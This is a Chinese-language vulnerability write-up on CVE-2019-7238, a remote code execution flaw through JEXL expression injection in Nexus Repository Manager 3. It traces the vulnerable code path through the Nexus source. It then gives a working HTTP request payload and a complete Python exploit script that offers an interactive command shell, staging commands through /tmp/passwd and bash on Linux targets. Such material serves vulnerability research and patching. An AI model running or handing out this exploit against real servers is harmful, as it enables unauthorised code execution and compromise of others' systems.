（CVE-2019-7238）Nexus_Repository_Manager_远程代码执行

# （CVE-2019-7238）Nexus Repository Manager 远程代码执行

==============

一、漏洞简介
————

二、漏洞影响
————

Nexus Repository Manager OSS/Pro 3.6.2 版本到 3.14.0 版本

三、复现过程
————

### 漏洞分析

定位到如下位置
plugins/nexus-coreui-plugin/src/main/java/org/sonatype/nexus/coreui/ComponentComponent.groovy:185

@Named
@Singleton
@DirectAction(action = ‘coreui_Component’)
class ComponentComponent
extends DirectComponentSupport
{
…

@DirectMethod
@Timed
@ExceptionMetered
PagedResponse previewAssets(final StoreLoadParameters parameters) {

String repositoryName = parameters.getFilter(‘repositoryName’)
String expression = parameters.getFilter(‘expression’)
String type = parameters.getFilter(‘type’)
// 接收三个参数 repositoryName 、 expression 、 type

if (!expression || !type || !repositoryName) {
return null
}

// 设置 repositoryName
RepositorySelector repositorySelector = RepositorySelector.fromSelector(repositoryName)

// 根据 type 分别调用不同的 validate
if (type == JexlSelector.TYPE) {
jexlExpressionValidator.validate(expression)
}
else if (type == CselSelector.TYPE) {
cselExpressionValidator.validate(expression)
}

List selectedRepositories = getPreviewRepositories(repositorySelector)
if (!selectedRepositories.size()) {
return null
}

def result = browseService.previewAssets(
repositorySelector,
selectedRepositories,
expression,
toQueryOptions(parameters))
return new PagedResponse(
result.total,
result.results.collect(ASSET_CONVERTER.rcurry(null, null, [:], 0)) // buckets not needed for asset preview screen
)
}
…
}

Nexus为了查询方便，特地在jexl的基础上引入了csel表达式。简单起见，这里不做展开。接着我们跟入`browseService.previewAssets`，接口定义在
components/nexus-repository/src/main/java/org/sonatype/nexus/repository/browse/BrowseService.java:59

/**
* Returns a {@link BrowseResult} for previewing the specified repository based on an arbitrary content selector.
*/
BrowseResult previewAssets(final RepositorySelector selectedRepository,
final List repositories,
final String jexlExpression,
final QueryOptions queryOptions);

具体实现在
components/nexus-repository/src/main/java/org/sonatype/nexus/repository/browse/internal/BrowseServiceImpl.java:233

@Named
@Singleton
public class BrowseServiceImpl
extends ComponentSupport
implements BrowseService
{
…
@Override
public BrowseResult previewAssets(final RepositorySelector repositorySelector,
final List repositories,
final String jexlExpression,
final QueryOptions queryOptions)
{
checkNotNull(repositories);
checkNotNull(jexlExpression);
final Repository repository = repositories.get(0);
try (StorageTx storageTx = repository.facet(StorageFacet.class).txSupplier().get()) {
storageTx.begin();
List previewRepositories;
if (repositories.size() == 1 && groupType.equals(repository.getType())) {
previewRepositories = repository.facet(GroupFacet.class).leafMembers();
}
else {
previewRepositories = repositories;
}

PreviewAssetsSqlBuilder builder = new PreviewAssetsSqlBuilder(
repositorySelector,
jexlExpression,
queryOptions,
getRepoToContainedGroupMap(repositories));

String whereClause = String.format(“and (%s)”, builder.buildWhereClause());

//The whereClause is passed in as the querySuffix so that contentExpression will run after repository filtering
return new BrowseResult<>(
storageTx.countAssets(null, builder.buildSqlParams(), previewRepositories, whereClause),
Lists.newArrayList(storageTx.findAssets(null, builder.buildSqlParams(),
previewRepositories, whereClause + builder.buildQuerySuffix()))
);
}
}
…
}

注意上面代码中的英文注释，大意为`whereClause`条件在完成`repository filtering`后将会进行`contentExpression`。而`whereClause`是通过前面一系列Builder构建的。可以跟入`builder.buildWhereClause()`，在
components/nexus-repository/src/main/java/org/sonatype/nexus/repository/browse/internal/PreviewAssetsSqlBuilder.java:51
， 这里最终引入了contentExpression和jexlExpression:

public class PreviewAssetsSqlBuilder
{
…
public String buildWhereClause() {
return whereClause(“contentExpression(@this, :jexlExpression, :repositorySelector, ” +
“:repoToContainedGroupMap) == true”, queryOptions.getFilter() != null);
}
…
}

接下来即考虑如何进一步执行`contentExpression`。在
components/nexus-repository/src/main/java/org/sonatype/nexus/repository/selector/internal/ContentExpressionFunction.java
。当`contentExpression`执行时，会调用`execute`方法：

public class ContentExpressionFunction
extends OSQLFunctionAbstract
{
public static final String NAME = “contentExpression”;
…
@Inject
public ContentExpressionFunction(final VariableResolverAdapterManager variableResolverAdapterManager,
final SelectorManager selectorManager,
final ContentAuthHelper contentAuthHelper)
{
super(NAME, 4, 4);
this.variableResolverAdapterManager = checkNotNull(variableResolverAdapterManager);
this.selectorManager = checkNotNull(selectorManager);
this.contentAuthHelper = checkNotNull(contentAuthHelper);
}

@Override
public Object execute(final Object iThis,
final OIdentifiable iCurrentRecord,
final Object iCurrentResult,
final Object[] iParams,
final OCommandContext iContext)
{
OIdentifiable identifiable = (OIdentifiable) iParams[0];
// asset
ODocument asset = identifiable.getRecord();
RepositorySelector repositorySelector = RepositorySelector.fromSelector((String) iParams[2]);
// jexlExpression 即 iParams[1]
String jexlExpression = (String) iParams[1];
List membersForAuth;

…

return contentAuthHelper.checkAssetPermissions(asset, membersForAuth.toArray(new String[membersForAuth.size()])) &&
checkJexlExpression(asset, jexlExpression, asset.field(AssetEntityAdapter.P_FORMAT, String.class));
}

其中的`iParams`即可对应传入的参数。`iParams[0]`即`@this` ,
`iParams[1]`即`jexlExpression`,
`iParams[2]`即`repositorySelector`。在完成初步筛选出`asset`后进入最后的`checkJexlExpression`

…
private boolean checkJexlExpression(final ODocument asset,
final String jexlExpression,
final String format)
{
VariableResolverAdapter variableResolverAdapter = variableResolverAdapterManager.get(format);
// variableSource 从 asset 中来
VariableSource variableSource = variableResolverAdapter.fromDocument(asset);

SelectorConfiguration selectorConfiguration = new SelectorConfiguration();

selectorConfiguration.setAttributes(ImmutableMap.of(“expression”, jexlExpression));
// JexlSelector.TYPE 是常量 定义为 ‘jexl’
selectorConfiguration.setType(JexlSelector.TYPE);
selectorConfiguration.setName(“preview”);

try {
// 解析表达式
return selectorManager.evaluate(selectorConfiguration, variableSource);
}
catch (SelectorEvaluationException e) {
log.debug(“Unable to evaluate expression {}.”, jexlExpression, e);
return false;
}
}

}

`selectorConfiguration`保存要生成的表达式config。`jexlExpression`即前面传入的参数。跟入`selectorManager.evaluate`，在
components/nexus-core/src/main/java/org/sonatype/nexus/internal/selector/SelectorManagerImpl.java:156
，最终执行了表达式

@Override
@Guarded(by = STARTED)
public boolean evaluate(final SelectorConfiguration selectorConfiguration, final VariableSource variableSource)
throws SelectorEvaluationException
{
// 根据传入的 selectorConfiguration 生成对应的 selector
// 前面指定了 JexlSelector.TYPE ，这里将生成 JexlSelector
Selector selector = createSelector(selectorConfiguration);

try {
// 调用 selector 的 evaluate 方法
return selector.evaluate(variableSource);
}
catch (Exception e) {
throw new SelectorEvaluationException(“Selector ‘” + selectorConfiguration.getName() + “‘ evaluation in error”,
e);
}
}

### 漏洞复现

参考官方文档：https://help.sonatype.com/repomanager3/configuration/repository-management\#RepositoryManagement-CreatingaQuery

其对应接口位置如下图NexusRepositoryManager远程代码执行/media/rId26.jpg)如果是新搭建的环境，为复现成功，还需要先往现有的Repository添加asset。这样在查询确实存在asset后，才会进一步根据`whereClause`对查询结果asset进行筛选，也才会对`whereClause`进行表达式解析。不过在实际环境中，Repository中早就各种asset了。下面随便选了一个logging.jar上传。

POST /service/extdirect HTTP/1.1
Host:www.0-sec.org:8081
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Content-Type: application/json
Content-Length: 308
Connection: close

{“action”:”coreui_Component”,”method”:”previewAssets”,”data”:[{“page”:1,”start”:0,”limit”:25,”filter”:[{“property”:”repositoryName”,”value”:”*”},{“property”:”expression”,”value”:””.class.forName(‘java.lang.Runtime’).getRuntime().exec(‘calc.exe’)”},{“property”:”type”,”value”:”jexl”}]}],”type”:”rpc”,”tid”:4}


### poc

cve-2019-7238.py


from requests.packages.urllib3.exceptions import InsecureRequestWarning
import urllib3
import requests
import base64
import json
import sys

print(“\nNexus Repository Manager 3 Remote Code Execution – CVE-2019-7238 \nFound by @Rico and @voidfyoo\n”)

proxy = {
}

remote = ‘http://127.0.0.1:8081’

ARCH=”LINUX”
# ARCH=”WIN”

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def checkSuccess(r):
if r.status_code == 200:
json_data = json.loads(r.text)
if json_data[‘result’][‘total’] > 0:
print(“OK”)
else:
print(“KO”)
sys.exit()
else:
print(“[-] Error status code”, r.status_code)
sys.exit()

print(“[+] Checking if Content-Selectors exist =>”, end=’ ‘)
burp0_url = remote + “/service/extdirect”
burp0_headers = {“Content-Type”: “application/json”}
burp0_json = {“action”: “coreui_Component”, “data”: [{“filter”: [{“property”: “repositoryName”, “value”: “*”}, {“property”: “expression”, “value”: “1==1”}, {
“property”: “type”, “value”: “jexl”}], “limit”: 50, “page”: 1, “sort”: [{“direction”: “ASC”, “property”: “name”}], “start”: 0}], “method”: “previewAssets”, “tid”: 18, “type”: “rpc”}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json,
proxies=proxy, verify=False, allow_redirects=False)
checkSuccess(r)
print(“”)

while True:
try:
if ARCH == “LINUX”:
command = input(“command (not reflected)> “)
command = base64.b64encode(command.encode(‘utf-8’))
command_str = command.decode(‘utf-8’)
command_str = command_str.replace(‘/’, ‘+’)

print(“[+] Copy file to temp directory =>”, end=’ ‘)

burp0_url = remote + “/service/extdirect”
burp0_headers = {“Content-Type”: “application/json”}
burp0_json = {“action”: “coreui_Component”, “data”: [{“filter”: [{“property”: “repositoryName”, “value”: “*”}, {“property”: “expression”, “value”: “1==0 or ”.class.forName(‘java.lang.Runtime’).getRuntime().exec(\”cp /etc/passwd /tmp/passwd\”)”}, { “property”: “type”, “value”: “jexl”}], “limit”: 50, “page”: 1, “sort”: [{“direction”: “ASC”, “property”: “name”}], “start”: 0}], “method”: “previewAssets”, “tid”: 18, “type”: “rpc”}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, proxies=proxy, verify=False, allow_redirects=False)
checkSuccess(r)

print(“[+] Preparing temp file =>”, end=’ ‘)
burp0_url = remote + “/service/extdirect”
burp0_headers = {“Content-Type”: “application/json”}
burp0_json = {“action”: “coreui_Component”, “data”: [{“filter”: [{“property”: “repositoryName”, “value”: “*”}, {“property”: “expression”, “value”: “1==0 or ”.class.forName(‘java.lang.Runtime’).getRuntime().exec(\”sed -i 1cpwn2 /tmp/passwd\”)”}, {
“property”: “type”, “value”: “jexl”}], “limit”: 50, “page”: 1, “sort”: [{“direction”: “ASC”, “property”: “name”}], “start”: 0}], “method”: “previewAssets”, “tid”: 18, “type”: “rpc”}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, proxies=proxy,
verify=False, allow_redirects=False)
checkSuccess(r)

print(“[+] Cleaning temp file =>”, end=’ ‘)
burp0_url = remote + “/service/extdirect”
burp0_headers = {“Content-Type”: “application/json”}
burp0_json = {“action”: “coreui_Component”, “data”: [{“filter”: [{“property”: “repositoryName”, “value”: “*”}, {“property”: “expression”, “value”: “1==0 or ”.class.forName(‘java.lang.Runtime’).getRuntime().exec(\”sed -i /[^pwn2]/d /tmp/passwd\”)”}, {
“property”: “type”, “value”: “jexl”}], “limit”: 50, “page”: 1, “sort”: [{“direction”: “ASC”, “property”: “name”}], “start”: 0}], “method”: “previewAssets”, “tid”: 18, “type”: “rpc”}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, proxies=proxy,
verify=False, allow_redirects=False)
checkSuccess(r)

print(“[+] Writing command into temp file =>”, end=’ ‘)
burp0_url = remote + “/service/extdirect”
burp0_headers = {“Content-Type”: “application/json”}
burp0_json = {“action”: “coreui_Component”, “data”: [{“filter”: [{“property”: “repositoryName”, “value”: “*”}, {“property”: “expression”, “value”: “1==0 or ”.class.forName(‘java.lang.Runtime’).getRuntime().exec(\”sed -i 1s/pwn2/{echo,” + command_str + “}|{base64,-d}>pwn.txt/g /tmp/passwd\”)”}, {
“property”: “type”, “value”: “jexl”}], “limit”: 50, “page”: 1, “sort”: [{“direction”: “ASC”, “property”: “name”}], “start”: 0}], “method”: “previewAssets”, “tid”: 18, “type”: “rpc”}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, proxies=proxy,
verify=False, allow_redirects=False)
checkSuccess(r)

print(“[+] Decode base64 command =>”, end=’ ‘)
burp0_url = remote + “/service/extdirect”
burp0_headers = {“Content-Type”: “application/json”}
burp0_json = {“action”: “coreui_Component”, “data”: [{“filter”: [{“property”: “repositoryName”, “value”: “*”}, {“property”: “expression”, “value”: “1==0 or ”.class.forName(‘java.lang.Runtime’).getRuntime().exec(\”bash /tmp/passwd\”)”}, {
“property”: “type”, “value”: “jexl”}], “limit”: 50, “page”: 1, “sort”: [{“direction”: “ASC”, “property”: “name”}], “start”: 0}], “method”: “previewAssets”, “tid”: 18, “type”: “rpc”}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, proxies=proxy,
verify=False, allow_redirects=False)
checkSuccess(r)

print(“[+] Executing command =>”, end=’ ‘)
burp0_url = remote + “/service/extdirect”
burp0_headers = {“Content-Type”: “application/json”}
burp0_json = {“action”: “coreui_Component”, “data”: [{“filter”: [{“property”: “repositoryName”, “value”: “*”}, {“property”: “expression”, “value”: “1==0 or ”.class.forName(‘java.lang.Runtime’).getRuntime().exec(\”bash pwn.txt\”)”}, {
“property”: “type”, “value”: “jexl”}], “limit”: 50, “page”: 1, “sort”: [{“direction”: “ASC”, “property”: “name”}], “start”: 0}], “method”: “previewAssets”, “tid”: 18, “type”: “rpc”}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, proxies=proxy,
verify=False, allow_redirects=False)
checkSuccess(r)
print(”)

else:
command = input(“command (not reflected)> “)
print(“[+] Executing command =>”, end=’ ‘)
burp0_url = remote + “/service/extdirect”
burp0_headers = {“Content-Type”: “application/json”}
burp0_json = {“action”: “coreui_Component”, “data”: [{“filter”: [{“property”: “repositoryName”, “value”: “*”}, {“property”: “expression”, “value”: “1==0 or ”.class.forName(‘java.lang.Runtime’).getRuntime().exec(\”” + command + “\”)”}, {
“property”: “type”, “value”: “jexl”}], “limit”: 50, “page”: 1, “sort”: [{“direction”: “ASC”, “property”: “name”}], “start”: 0}], “method”: “previewAssets”, “tid”: 18, “type”: “rpc”}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, proxies=proxy,
verify=False, allow_redirects=False)
checkSuccess(r)
print(”)

except KeyboardInterrupt:
print(“Exiting…”)
break

参考链接
——–

> https://xz.aliyun.com/t/4136
>
> https://www.jianshu.com/p/34e450debe0f
>
> https://github.com/mpgn/CVE-2019-7238